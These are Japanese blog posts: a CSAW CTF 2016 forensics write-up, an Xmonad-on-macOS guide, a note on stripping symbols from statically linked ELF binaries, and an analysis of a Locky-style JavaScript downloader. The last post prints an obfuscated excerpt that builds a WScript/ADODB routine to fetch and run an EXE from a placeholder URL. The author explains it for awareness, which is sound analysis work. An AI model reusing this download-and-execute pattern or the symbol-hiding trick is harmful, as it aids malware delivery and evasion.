拾い物のコンパス

まともに書いたメモ

csawctf 2016 writeup(forensics)

書くことがないから,最近参加したCSAWCTF 2016のWriteupをメモしておく.分野はforensics.ExploitやWebに比べると日本では人気がない印象があるのが残念.

evidence

evidence.zipという壊れたZIPファイルが与えられる.

$ unzip -l evidence.zip
Archive:  evidence.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
1384576462406025012  1980-10-01 06:01   out/rxo802ayx4
1384576462406025012  1980-10-01 06:01   out/zhatnf5maf
1384576462406025012  1980-10-01 06:01   out/50lshu1ue6
1384576462406025012  1980-10-01 06:01   out/14o803swdq
1384576462406025012  1980-10-01 06:01   out/nppjdd2wdg
1384576462406025012  1980-10-01 06:01   out/e9ydsxwetg
1384576462406025012  1980-10-01 06:01   out/0eetjrxpdm
1384576462406025012  1980-10-01 06:01   out/otuj3jrezt
1384576462406025012  1980-10-01 06:01   out/m70ohrycax
1384576462406025012  1980-10-01 06:01   out/mpi3z4x5jt
1384576462406025012  1980-10-01 06:01   out/meoflsxv4v
1384576462406025012  1980-10-01 06:01   out/8y10tp04b2
1384576462406025012  1980-10-01 06:01   out/eui6ltoijl
---------                     -------
17999494011278325156                     13 files
以下,どうでも良い情報
1384576462406025012  -> 0x133700f4ee13ff34
17999494011278325156 -> 0xf9cb0c701703f5a4
全く意味のない数字のようだ.

作成日時も特に情報は見当たらない.
とりあえず
$ zip -FF evidence.zip --output fix.zip
で修復してみる.先に言っておく,これやった人はさようなら.
この後,
- unzip
- ファイル名がハッシュになっているかと検索
- base64で復号
- とりあえず,文字列を反対にしてみる
- 適当にXORしてみる
- コメントを期待して,unzip -z
- ..etc
をやってみたが,どうにも出てこない. 疲れて,基本に戻ってみようとZIP情報の詳細を見てみる.

$ unzip -vv ./evidence.zip
Archive:  ./evidence.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
1384576462406025012  Unk:169     908 100% 1980-10-01 06:01 666c6167  out/rxo802ayx4
1384576462406025012  Unk:047     294 100% 1980-10-01 06:01 7b746833  out/zhatnf5maf
1384576462406025012  Unk:158     377 100% 1980-10-01 06:01 5f766931  out/50lshu1ue6
1384576462406025012  Unk:231     552 100% 1980-10-01 06:01 3169346e  out/14o803swdq
1384576462406025012  Unk:223     249 100% 1980-10-01 06:01 5f77335f  out/nppjdd2wdg
1384576462406025012  Unk:238     503 100% 1980-10-01 06:01 6e333364  out/e9ydsxwetg
1384576462406025012  Unk:045     150 100% 1980-10-01 06:01 5f236672  out/0eetjrxpdm
1384576462406025012  Unk:200     273 100% 1980-10-01 06:01 65656c65  out/otuj3jrezt
1384576462406025012  Unk:099     684 100% 1980-10-01 06:01 6666656e  out/m70ohrycax
1384576462406025012  Unk:205     112 100% 1980-10-01 06:01 7daaaaaa  out/mpi3z4x5jt
1384576462406025012  Unk:174     287 100% 1980-10-01 06:01 aaaaaaaa  out/meoflsxv4v
1384576462406025012  Unk:193     172 100% 1980-10-01 06:01 aaaaaaaa  out/8y10tp04b2
1384576462406025012  Unk:199     485 100% 1980-10-01 06:01 aaaaaaaa  out/eui6ltoijl
--------          -------  ---                            -------
17999494011278325156             5046 100%                            13 files

ああ,なるほどと気づいたときには笑った.こんなやり方もあるのか.CRCがASCIIだ. 666c61677b7468335f7669313169346e5f77335f6e3333645f23667265656c656666656e7d
-> flag{th3_vi11i4n_w3_n33d#freeleffen}
flag: flag{th3_vi11i4n_w3_n33d
#freeleffen}
復元して頑張っても無駄だという問題.よくCRCにねじこんだな・・・.

watchword

Canned epic hidden snek flavored cookies have shy gorilla.  
Hint: http://domnit.org/stepic/doc/
Hint: It's not base64, but it uses the Python 3 base64 module
password = password

問題文は知らない単語が多くて理解を投げた.ゴリラが何かしたらしい.
ヒントに沿って,http://domnit.org/stepic/doc/から,stepic-0.3.tar.gzをダウンロード.

$ tar xvf ./stepic-0.3.tar.gz
$ cd stepic-0.3
$ sudo ./setup.py install
動作するためにImageが必要だったため,
$ sudo pip install Image
Image関連でエラーを吐くため,
$ sudo vim /usr/bin/stepic
[-] import Image
[+] from PIL import Image

これで準備は完了.
動画ファイルをダンプしてみると,<data...>というbase64があった.
"aHR0cDovL3N0ZWdoaWRlLnNvdXJjZWZvcmdlLm5ldC8="
-> http://steghide.sourceforge.net/base64
どうやら,steghideが一枚噛んでいるようだ.
配られた動画ファイルを問答無用でforemost.動画は結局見なかった.
$ foremost powpow.mp4
PNGファイルが出てきた.
f:id:poppycompass:20160927151138p:plain
8月にひっそりと日本での販売が終了したオレオの写真.foremostしても何も出てこない.
また,PNGにはsteghideが使えない.よって,stepicの出番.
$ stepic -d -i output/png/00001069.png -o out.jpg --debug
out.jpgというJPG画像を取得する.画像は親子の微笑ましい会話.
f:id:poppycompass:20160927135920j:plain
以下,文章の訳.間違っていたら指摘してください.

> ねえ,お母さん.どうしていとこの名前はダイヤモンドなの?
< おばさんが好きだからよ
> 僕の名前は?
< 私が好きなゴリラよ,Harambe

Harambeは先日子供を助けるために仕方なく射殺されたゴリラの名前.
Harambeはまだ良いが,おばさん,いくら好きでもダイヤモンドはキラキラしすぎじゃないかな・・・
< 閑話休題 >
JPGファイルはsteghideでいける.パスワードが要求されるが,これは問題文で与えられたものを使う.

$ steghide extract -sf ./out.jpg
Enter passphrase:password
wrote extracted data to "base64.txt"
$ cat ./base64.txt
W^7?+dsk&3VRB_4W^-?2X=QYIEFgDfAYpQ4AZBT9VQg%9AZBu9Wh@|fWgua4Wgup0ZeeU}c_3kTVQXa}eE

base64.txtが得られる.文字列の途中に=が入っていたりと,問題通り普通のbase64ではないようだ.
ヒントにpython3のbase64のモジュールを使っているとあったため,
http://docs.python.jp/3/library/base64.html#module-base64
を参考に一通り試していった.結局,base85でエンコードされた文字列だった.

# decrypt.py, python3で実行推奨
# coding: utf-8

import base64
print(base64.b85decode("W^7?+dsk&3VRB_4W^-?2X=QYIEFgDfAYpQ4AZBT9VQg%9AZBu9Wh@|fWgua4Wgup0ZeeU}c_3kTVQXa}eE"))
$ python3 decrypt.py
b'flag{We are fsociety, we are finally free, we are finally awake!}'

base85はASCII内でprintableな文字を全部使って限界に挑戦した符号化のようだ.データ量の膨張が6/4(1.5倍)のbase64に対し,base85は5/4(1.25倍)と,効率が良い.現在ではgitで使われているらしい.

最後に

forensicsはPwnやWebのようにきらびやかなハッカー・クラッカーっぽいものを感じにくい分野だが,解析のためにコマンドの細かいオプションを知ることができるといった面がある.
セキュリティをやっている理由が,色んなことを知りたいからという自分にとってはやってて楽しい分野.
もう少しくらいなら闇が深くても構わない.
ふと思ったが,IT業界って光という単語をあまり使わない気がする.闇の言語(C++とか)は存在するが,光の言語は聞いたことがない(Haskellとか純粋なものがある).その内出るかもしれないが,キャッチコピーが胡散臭すぎて使う気が起きなさそうだ.
そう思ってしまう辺り,IT業界に毒されているのだろう.

参考文献

Stepic - Python image steganography

19.6. base64 — Base16, Base32, Base64, Base85 データの符号化 — Python 3.5.2 ドキュメント

base85について - StoryEdit 開発日誌

OSX(mac)にXmonadをインストールする方法

普段はLinuxXmonadを入れて作業をしているが,短期間だけOSX(mac)を使うこととなった(知っている企業や大学ってやたらとLet's NoteとMacbookが好き.ThinkPadも選択肢に入れて欲しい).普段通りに作業するためにOSXXmonadを入れる方法を模索し,動かすところまではいけた.しかしLinuxほどの快適さはないため,OSX(mac)ではXmonadを使わないほうが良い.代わりにXmonadを意識して作られたAmethystがとりあえずおすすめ.インストールの流れをメモ代わりに書き残す.

環境

$ uname -a
後で入力する(確かDarwinのx64)

OSXXmonadを動作させる仕組み

XmonadX11で動作するよう実装されている.どれくらい依存しているかというと,ソースコードのMain部にガッツリX11関連の関数を使っていて置き換えることが面倒くさそうな位依存している.
このためOSXで動作させるためのアプローチとしてはX11OSX版であるXQuartzをインストールし,このX11上で動かすデスクトップマネージャ(DM)にXmonadを選択し,起動させる流れとなる.

インストール方法

brewのインストール

$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

XQuartzのインストール

https://www.xquartz.orgからXQuartz-2.7.9.dmgをダウンロード,インストール(ダブルクリックとContinueを押し続けるだけ).
インストールに成功すると,/Applications/Utilities/XQuartz.app/opt/X11/bin/quartz-wmなどができているはず.デスクトップの検索マークからXQuartzを探し,起動するとDock(デフォルトだと画面下にあるショートカットキーが並んでいるところ)に大文字のXが中心のマークが現れるはず.
XQuartzを選択した状態でデスクトップの左上のXQuartz -> Preferencesで各種設定を変更する.WinodowタブでFull Screen Modeを設定する以外は特にいじらなかった.
~/.xinitrcがあるとエラーが出ることもあるから,あるならrenameしておくほうが良い.

Haskellをインストールする

XmonadをインストールするためにHaskellコンパイラなどをインストールする.She is Haskell.って笑うやつは表に出ろ.すごいH本を朗読してやる.
https://www.haskell.org/platform/mac.htmlからHaskellインストーラを落とす.ダブルクリックしてインストール.
インストールが終わったら,端末から
$ cabal update
でパッケージリストを最新に更新する.

xmonadのインストール

いよいよXmonadをインストールする.
$ cabal install xmonad
でできるはずだが,今回の環境ではXssライブラリがないとエラーが出た.原因は先ほどインストールしたXQuartzが持つX11のヘッダやライブラリ関係がパスに含まれていなことだった.よって今回のコマンドのときだけパスを追加してやれば良い.
$ LIBRARY_PATH=/opt/X11/lib:$LIBRARY_PATH cabal install xmonad
これでXmonadがインストールできるはず.これでも駄目なら,
$ LIBRARY_PATH=/opt/X11/lib:$LIBRARY_PATh cabal install X11
も試して,デバッグしていく.頑張れ.

Xmonad関連インストール

エラーが出るのを防ぐためにX11関連のヘッダを検索パスに含めておく.今回はシンボリックリンクを張る方法を選んだ.

$ ln -s /opt/X11/include/X11 /usr/local/include/X11
$ LIBRARY_PATH=/opt/X11/lib:$LIBRARY_PATH cabal install xmonad-contrib xmobar

XQuarzの設定作成

X11(XQuartz)起動時に使われるWMを設定する.設定は環境変数USERWMに使いたいWMのバイナリパスを入れてやる.

$ mkdir $HOME/.xinitrc.d/
$ vim $HOME/.xinitrc.d/90-xmonad.sh
  #!/bin/sh
  USERWM=$HOME/Library/Haskell/bin/xmonad # xmonadのバイナリが入っているところを指すようにする

xmonadのパスがわからないときは
$ find $HOME -name xmonad -type f 2>/dev/null
で検索する.
あとはX11が起動時に実行されるようにスクリプトに実行権限を付与する.
$ chmod +x ~/.xinitrc.d/90-xmonad.sh
X11で起動するWMをデフォルトのquartz-wmに戻したければ
$ chmod -x ~/.xinitrc.d/90-xmonad.sh
で実行権限をなくせば良い. 以上で基本的な作業は終了.
後は各自xmonad.hs.xmobarrcなどを調整する.

起動

XQuartzが起動した状態で左上のXQuartzタブを押して,Toggle Full Screenを押す.全画面がX11になり,Xmonadが使えるようになる(全画面にしなくても使えるが,全画面のほうがおすすめ).

戻り方

Command+Option+a

問題点

ワークスペースの切り替え,複数の端末操作は通常通り行えるが,/Applications以下のアプリ(ブラウザやメーラ)をXmonad上で実行する方法がわからないといった致命的な問題にぶち当たり,解決策を思いつかなかった.少し使ってみての問題としては以下が挙げられる.

  • OSXではXmonadの相棒urxvtclearコマンドが動かない
  • Chromeなどの/Applications以下にインストールされているアプリを起動させるとXmonadからホストのWMに戻り,そちらで起動してしまう
  • デフォルトで起動するxtermはマルチバイト文字読めない・入力できない
  • xmonad.hs.xmobarrcOSX用に調整しないといけない
  • デバッグしたくない

問題が山積みでここまでしてXmonadに固執する必要もない気がしてきたから,Amethystも試してみた.そしたら比較的快適だったから今回はこっちを使うことにした.

Amethystのインストール

$ brew cask install amethyst
とても簡単.

Amethyst設定

System Preferencesを立ち上げ,Security & Privacy -> Accessibility,左下のロックボタンを押してロックを解除し,'+'を押す.Applications -> Amethystを選択し,権限を与える.詳しくはAmethystのgithubを見るのがわかりやすい.

Amethystの起動

デスクトップの検索からAmethystを検索して起動するだけ. 提供する機能はウィンドウ同士の配置を自動でXmonad風に整形,ウィンドウの選択・入れ替えといったシンプルな部分のみ.
ワークスペースの切り替えはMission Controlによるものになるが,どうにも無駄な動作が多くて疲れる.xmobarを入れて使いたいが,それっぽいものは今の所無いようだ.OSXは余程追い詰められない限り使わないと決心した.
他にはhttps://github.com/arnihermann/osxmonadといったものもあるようだったが,ワークスペースの実装がされていないと書いてあったため使わなかった.

最後に

Linuxはさいきょう

参考サイト

Xmonad on Apple OSX: Xmonad/Using xmonad on Apple OSX - HaskellWiki

xmonad Q&A: Can't build X11 due to ld linking error on OSX 10.9.2 · Issue #24 · xmonad/X11 · GitHub

彼女はちょっと純情すぎるだけなんだ: She is Haskell. : プログラマーが覚えておくべき10の英語フレーズ - NAVER まとめ

Amethyst: GitHub - ianyh/Amethyst: Automatic tiling window manager for OS X à la xmonad and i3.

ELFバイナリのデバッグ時の関数名を読めなくする方法

Defconとかでは問題のELFバイナリをデバッグすると,ユーザ定義関数名だけでなく,ライブラリ関数名も読めなくなっている.どうやるとこんなバイナリを作れるのかを調べてみた.結論から言えば,静的リンクでコンパイルして,stripでデバッグシンボルを消すだけだった.

ライブラリ関数名の読めないプログラム

例えば,/bin/idexecve関数で実行するだけのid.cを考える.

/* id.c */
#include <stdio.h>                                                                                                           
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void)
{
    char *env[] = {NULL, NULL};
    char *args[] = {"/bin/id", NULL};
    execve("/bin/id", args, env);
    return 0;
}
/* E.O.F. */

ここで使われているライブラリ関数はexecveだけ.これの関数名消去がうまく行くと,以下のようなアセンブラになる.

$ r2 -c 'aa;pdf@main' ./id
[x] Analyze all flags starting with sym. and entry0 (aa)
fcns: 4
xref: 54
sect: 550756
code: 1139
covr: 0 %
/ (fcn) main 68
|           ; var int local_8h     @ rbp-0x8
|           ; var int local_10h    @ rbp-0x10
|           ; var int local_18h    @ rbp-0x18
|           ; var int local_20h    @ rbp-0x20
|           ; DATA XREF from 0x0040082d (main)
|           0x0040092e      55             push rbp
|           0x0040092f      4889e5         mov rbp, rsp
|           0x00400932      4883ec20       sub rsp, 0x20
|           0x00400936      48c745f00000.  mov qword [rbp - local_10h], 0
|           0x0040093e      48c745f80000.  mov qword [rbp - local_8h], 0
|           0x00400946      48c745e04477.  mov qword [rbp - local_20h], str._bin_id
|           0x0040094e      48c745e80000.  mov qword [rbp - local_18h], 0
|           0x00400956      488d55f0       lea rdx, [rbp - local_10h]
|           0x0040095a      488d45e0       lea rax, [rbp - local_20h]
|           0x0040095e      4889c6         mov rsi, rax
|           0x00400961      bf44774800     mov edi, str._bin_id        ; "/bin/id" @ 0x487744
|           0x00400966      e8450e0300     call fcn.004317b0           ; !!! 本来 "call sym.imp.execve"とでる !!!
|           0x0040096b      b800000000     mov eax, 0
|           0x00400970      c9             leave
\           0x00400971      c3             ret

0x00400966の行を見ると,sym.imp.execveと普通にコンパイルしたら出るはずがfcn.004317b0になっている.
普段こんなバイナリが来ると,引数と演算結果を見てどの関数かを特定しているが(それしか知らない),ライブラリ関数を20種類以上使われていると心にヒビが入ってくる.
こいつの関数名復元方法を知るためにまずは作り方を調べた.

この方法では消えない

関数名の削除はデバッグシンボルの削除でできると考えて,まずは以下のコマンドを試してみた.

$ gcc -o id id.c
$ strip --strip-all ./id  # シンボル情報の全削除
$ r2 -c 'aa;pdf@main' ./id
[x] Analyze all flags starting with sym. and entry0 (aa)
fcns: 13
xref: 22
sect: 434
code: 470
covr: 108 %
            ;-- main:
/ (fcn) sym.main 68
|           ; var int local_8h     @ rbp-0x8
|           ; var int local_10h    @ rbp-0x10
|           ; var int local_18h    @ rbp-0x18
|           ; var int local_20h    @ rbp-0x20
|           ; DATA XREF from 0x0040040d (sym.main)
|           0x004004e6      55             push rbp
|           0x004004e7      4889e5         mov rbp, rsp
|           0x004004ea      4883ec20       sub rsp, 0x20
|           0x004004ee      48c745f00000.  mov qword [rbp - local_10h], 0
|           0x004004f6      48c745f80000.  mov qword [rbp - local_8h], 0
|           0x004004fe      48c745e0b405.  mov qword [rbp - local_20h], str._bin_id
|           0x00400506      48c745e80000.  mov qword [rbp - local_18h], 0
|           0x0040050e      488d55f0       lea rdx, [rbp - local_10h]
|           0x00400512      488d45e0       lea rax, [rbp - local_20h]
|           0x00400516      4889c6         mov rsi, rax
|           0x00400519      bfb4054000     mov edi, str._bin_id        ; "/bin/id" @ 0x4005b4
|           0x0040051e      e8adfeffff     call sym.imp.execve         ; !!! 消えてない !!!
|           0x00400523      b800000000     mov eax, 0
|           0x00400528      c9             leave
\           0x00400529      c3             ret

0x0040051eを見ると,関数名が消えてない.
そもそもstripで消えているものはあるかを確認すると

$ gcc -o id id.c
$ file ./id
id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, not stripped # stripされてない
$ readelf -a ./id > nonstrip
$ strip --strip-all ./id
$ file ./id
./id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, stripped # stripされた
$ readelf -a ./id > stripall
$ diff nonstrip stripall
13c13
<   Start of section headers:          4784 (bytes into file)
---
>   Start of section headers:          2592 (bytes into file)
19c19
<   Number of section headers:         31
---
>   Number of section headers:         29
81,86c81,82
<   [28] .shstrtab         STRTAB           0000000000000000  000011a4
<        000000000000010c  0000000000000000           0     0     1
<   [29] .symtab           SYMTAB           0000000000000000  00000928
<        0000000000000660  0000000000000018          30    48     8
<   [30] .strtab           STRTAB           0000000000000000  00000f88
<        000000000000021c  0000000000000000           0     0     1
---
>   [28] .shstrtab         STRTAB           0000000000000000  00000921
>        00000000000000fc  0000000000000000           0     0     1
170,240d165
< 
< Symbol table '.symtab' contains 68 entries:
<    Num:    Value          Size Type    Bind   Vis      Ndx Name
<      0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
<      1: 0000000000400200     0 SECTION LOCAL  DEFAULT    1 
<      2: 000000000040021c     0 SECTION LOCAL  DEFAULT    2 
<      3: 000000000040023c     0 SECTION LOCAL  DEFAULT    3 
<      4: 0000000000400260     0 SECTION LOCAL  DEFAULT    4 
<      5: 0000000000400280     0 SECTION LOCAL  DEFAULT    5 
<      6: 00000000004002e0     0 SECTION LOCAL  DEFAULT    6 
<      7: 0000000000400320     0 SECTION LOCAL  DEFAULT    7 
<      8: 0000000000400328     0 SECTION LOCAL  DEFAULT    8 
<      9: 0000000000400348     0 SECTION LOCAL  DEFAULT    9 
<     10: 0000000000400360     0 SECTION LOCAL  DEFAULT   10 
<     11: 0000000000400390     0 SECTION LOCAL  DEFAULT   11 
<     12: 00000000004003b0     0 SECTION LOCAL  DEFAULT   12 
<     13: 00000000004003e0     0 SECTION LOCAL  DEFAULT   13 
<     14: 00000000004003f0     0 SECTION LOCAL  DEFAULT   14 
<     15: 00000000004005a4     0 SECTION LOCAL  DEFAULT   15 
<     16: 00000000004005b0     0 SECTION LOCAL  DEFAULT   16 
<     17: 00000000004005bc     0 SECTION LOCAL  DEFAULT   17 
<     18: 00000000004005f0     0 SECTION LOCAL  DEFAULT   18 
<     19: 00000000006006e8     0 SECTION LOCAL  DEFAULT   19 
<     20: 00000000006006f0     0 SECTION LOCAL  DEFAULT   20 
<     21: 00000000006006f8     0 SECTION LOCAL  DEFAULT   21 
<     22: 0000000000600700     0 SECTION LOCAL  DEFAULT   22 
<     23: 00000000006008d0     0 SECTION LOCAL  DEFAULT   23 
<     24: 00000000006008d8     0 SECTION LOCAL  DEFAULT   24 
<     25: 0000000000600900     0 SECTION LOCAL  DEFAULT   25 
<     26: 0000000000600910     0 SECTION LOCAL  DEFAULT   26 
<     27: 0000000000000000     0 SECTION LOCAL  DEFAULT   27 
<     28: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS init.c
<     29: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
<     30: 00000000006006f8     0 OBJECT  LOCAL  DEFAULT   21 __JCR_LIST__
<     31: 0000000000400420     0 FUNC    LOCAL  DEFAULT   14 deregister_tm_clones
<     32: 0000000000400460     0 FUNC    LOCAL  DEFAULT   14 register_tm_clones
<     33: 00000000004004a0     0 FUNC    LOCAL  DEFAULT   14 __do_global_dtors_aux
<     34: 0000000000600910     1 OBJECT  LOCAL  DEFAULT   26 completed.6945
<     35: 00000000006006f0     0 OBJECT  LOCAL  DEFAULT   20 __do_global_dtors_aux_fin
<     36: 00000000004004c0     0 FUNC    LOCAL  DEFAULT   14 frame_dummy
<     37: 00000000006006e8     0 OBJECT  LOCAL  DEFAULT   19 __frame_dummy_init_array_
<     38: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS test.c
<     39: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
<     40: 00000000004006e0     0 OBJECT  LOCAL  DEFAULT   18 __FRAME_END__
<     41: 00000000006006f8     0 OBJECT  LOCAL  DEFAULT   21 __JCR_END__
<     42: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS 
<     43: 00000000006006f0     0 NOTYPE  LOCAL  DEFAULT   19 __init_array_end
<     44: 0000000000600700     0 OBJECT  LOCAL  DEFAULT   22 _DYNAMIC
<     45: 00000000006006e8     0 NOTYPE  LOCAL  DEFAULT   19 __init_array_start
<     46: 00000000004005bc     0 NOTYPE  LOCAL  DEFAULT   17 __GNU_EH_FRAME_HDR
<     47: 00000000006008d8     0 OBJECT  LOCAL  DEFAULT   24 _GLOBAL_OFFSET_TABLE_
<     48: 00000000004005a0     2 FUNC    GLOBAL DEFAULT   14 __libc_csu_fini
<     49: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
<     50: 0000000000600900     0 NOTYPE  WEAK   DEFAULT   25 data_start
<     51: 0000000000600910     0 NOTYPE  GLOBAL DEFAULT   25 _edata
<     52: 00000000004005a4     0 FUNC    GLOBAL DEFAULT   15 _fini
<     53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
<     54: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND execve@@GLIBC_2.2.5
<     55: 0000000000600900     0 NOTYPE  GLOBAL DEFAULT   25 __data_start
<     56: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
<     57: 0000000000600908     0 OBJECT  GLOBAL HIDDEN    25 __dso_handle
<     58: 00000000004005b0     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
<     59: 0000000000400530   101 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
<     60: 0000000000600918     0 NOTYPE  GLOBAL DEFAULT   26 _end
<     61: 00000000004003f0    42 FUNC    GLOBAL DEFAULT   14 _start
<     62: 0000000000600910     0 NOTYPE  GLOBAL DEFAULT   26 __bss_start
<     63: 00000000004004e6    68 FUNC    GLOBAL DEFAULT   14 main
<     64: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
<     65: 0000000000600910     0 OBJECT  GLOBAL HIDDEN    25 __TMC_END__
<     66: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
<     67: 0000000000400390     0 FUNC    GLOBAL DEFAULT   11 _init

サイズは明らかに減っているし,.symtabシンボル情報が消されているようだ.しかし,関数名は消えない.
なんでだろうと思って,知り合いに聞いてみたらあっさり答えが返ってきた.
それによると,execveなどのライブラリ関数は./id外の共有ライブラリに実体がある../idが共有ライブラリの関数を使う場合,プログラム起動時に関数名などのシンボル名を使ってアドレス解決をする.だから,共有ライブラリを使う限りシンボル名が残ってしまう.つまり,静的リンクでコンパイルすればシンボル名を消してもアドレス解決できるようになるということだった.
これがわかれば話は早い.

消し方

$ gcc -static -o id id.c
$ strip -strip-all ./id
$ r2 -c 'aa;pdf@main' ./id
[x] Analyze all flags starting with sym. and entry0 (aa)
fcns: 4
xref: 54
sect: 550756
code: 1139
covr: 0 %
/ (fcn) main 68
|           ; var int local_8h     @ rbp-0x8
|           ; var int local_10h    @ rbp-0x10
|           ; var int local_18h    @ rbp-0x18
|           ; var int local_20h    @ rbp-0x20
|           ; DATA XREF from 0x0040082d (main)
|           0x0040092e      55             push rbp
|           0x0040092f      4889e5         mov rbp, rsp
|           0x00400932      4883ec20       sub rsp, 0x20
|           0x00400936      48c745f00000.  mov qword [rbp - local_10h], 0
|           0x0040093e      48c745f80000.  mov qword [rbp - local_8h], 0
|           0x00400946      48c745e04477.  mov qword [rbp - local_20h], str._bin_id
|           0x0040094e      48c745e80000.  mov qword [rbp - local_18h], 0
|           0x00400956      488d55f0       lea rdx, [rbp - local_10h]
|           0x0040095a      488d45e0       lea rax, [rbp - local_20h]
|           0x0040095e      4889c6         mov rsi, rax
|           0x00400961      bf44774800     mov edi, str._bin_id        ; "/bin/id" @ 0x487744
|           0x00400966      e8450e0300     call fcn.004317b0           ; !!! 消えた !!!
|           0x0040096b      b800000000     mov eax, 0
|           0x00400970      c9             leave
\           0x00400971      c3             ret

というわけで読めなくなった.
読めないバイナリはこうやって作られるのだろう.

最後に

作成したバイナリは静的リンク時に共有ライブラリに含まれていたのであろう文字列が色々含まれて,本来のユーザ定義文字列が探しにくくなる.これはどうにかできないのだろうか.共有ライブラリを片っ端から--strip-allすればいいのだろうか.
次は消した情報を復元する方法を調べたい.情報提供募集中.

参考

ありがとう: 知人

ダウンローダ型のマルウェアを眺めてみた

この記事では本物のマルウェアを取り扱っています.この記事の検証などで問題が起こっても一切責任は取れないので,行う際は自己責任でお願いします.また,この記事では心無い人による悪用を避けるため,マルウェアの全文は記載しません.興味のある方はハッシュなどから辿ってください.

はじまり

最近ZIPRARが添付された請求書や求人(月額$3000-6000, 30万円以上)という本当なら魅力的なメールが来る.
このようなメールは「危険なので,絶対に添付ファイルを開かないでください」と簡単に言われているが,「本当に危険なのか」,「一体何故危険なのか」を知りたくなったので,ダウンロードして解析してみた.
攻撃側のメールの送り方は,特定のメンバに一斉送信されるアドレスをどこからか特定し,そこに対してそれぞれ異なる文面,送信元アドレス,内容,添付ファイルを送りつけてくる.まだ解析の数をこなしたわけではないからかどれも同じものを見てはいないが,それぞれを数種類用意しただけで簡単に組み合わせ総数は大きくなるから,フィルタとかでの対応は厄介そうだ. メール本文例は以下の通り.

hi ???(改変してある)

I have attached a revised spreadsheet contains inventory adjustments. Please check if it's correct
 

Regards,
Michael Ballard

employees_B3CF49.zipというZIPファイルが添付されている.
中には難読化が施された全く同じ内容のJavascriptファイルが3つ(なぜ3つも入っていたのかは不明).

$ unzip -l employees_B3CF49.zip
Archive:  employees_B3CF49.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
  1051941  2016-05-16 14:49   history 648819 - cpy (2).js
  1051941  2016-05-16 14:49   history 648819 - cpy.js
  1051941  2016-05-16 14:49   history 648819.js
---------                     -------
  3155823                     3 files

VirusTotalに投げると,お察しな内容だった.真っ赤.
Antivirus scan for 5e587e55c9a9c28c4ac5e7d0a6d43c8b7d988654a3f13b838d1e45226213596c at 2016-05-20 01:00:34 UTC - VirusTotal
TrendMicro, Kaspersky, Symantecの検知名はそれぞれ"JS_LOCKY.DLDUF", "Trojan-Downloader.JS.Agent.klw", "JS.Downloader".
Kasperskyがわかりやすい.拡張子.klwはわからない.
JS_LOCKY.DLDUF - Threat Encyclopedia - Trend Micro AU
によると,出現は2016/05/12で,つい最近. 届く添付ファイルはどれもこのように最近登録されたものばかり.

環境

Linux環境は内容・脅威の確認用,Windowsは被害用仮想マシン

$ uname -a
Linux poppycompass 4.5.0-1-ARCH #1 SMP PREEMPT Tue Mar 15 09:41:03 CET 2016 x86_64 GNU/Linux

解析手順

最初にLinuxのメーラから,問題の添付ファイルをダウンロード.大抵ZIPだから,
$ unzip -l employees_B3CF49.zip
で何が入っているかを確かめる.今までに確認したのは.js.wsfのみ.
感染する気満々で苦笑いした.
一通り難読化を解除して,何をしているのかを見たら,必要なところをコメントアウトなり書き換えるなりしてからWindowsの仮想環境に投げて実行.

内容

当たり前だけど,解析をするときは部屋を明るくして,ネットワークから隔離した仮想環境内で画面から離れてみてね.あと1時間に15分程度の休憩を挟むこと.もちろん守ったことがない.   上で挙げたhistory 648819.jsの最初から数行は以下のような感じ.

var place0 = false;
var DENMARK0 = "";
'/' * 1048574byte
var fromPath;
var VALIGN0 = "Cr"+"e"+"ateObject";
/*@cc_on /* Zg  */
  @if (@_win32 || @_win64)/* Zg  */
    //
CONNECTION /* Zg  */ = "W"+"S"+"c"+"ript";
place0 /* Zg  */= true;/* Zg  */
DENMARK0/* Zg  */ = /* Zg  */"MLH";/* Zg  */
fromPath =/* Zg  */ "R" + "esponseB"/* Zg  */ + "ydo".split('').reverse().join('');
Turkey = /* Zg  */(/* Zg  */"noitisop").split(''/* Zg  */).reverse(/* Zg  */).join('');
devel0 /* Zg  *//* Zg  */ =/* Zg  */ "eliFoTevaS".split(''/* Zg  */).reverse().join('');
Currency0 = "A"+"DODB";
DENMARK1 = "s" + "end";
Backspace = "ht"+"tp:"+"//e" + "xample" + "/" + "mal" + "ware.e" + "xe";
Backspace0 = "G\x45"+"T";
/* Zg  */ @end/* Zg  */
@*//* Zg  */
if (!(place0))
{
WScript.Echo("pizzxzzda");
WScript.Quit(1);
}
...(snip)...

URL部分は変えてある.
WScriptを利用してマルウェア本体をダウンロードし,起動させる. 解析したやつはどれもC:\Users\<user_name>\AppData\Local\Temp以下に起動させたいEXEファイル本体をダウンロード(ファイルパスは動的に実行ユーザに合わせたパスが生成),実行するタイプだった.
AppDataはデフォルトでは隠しフォルダとなっているため,普通には見えない.隠しフォルダが見えるようにするには,ファイルエクスプローラーを起動して,
整理 -> フォルダーと検索のオプション -> 開いたウィンドウの「表示」タブ -> 「隠しフォルダー,及び隠しドライブを表示する」 -> OK
で見えるようになる.
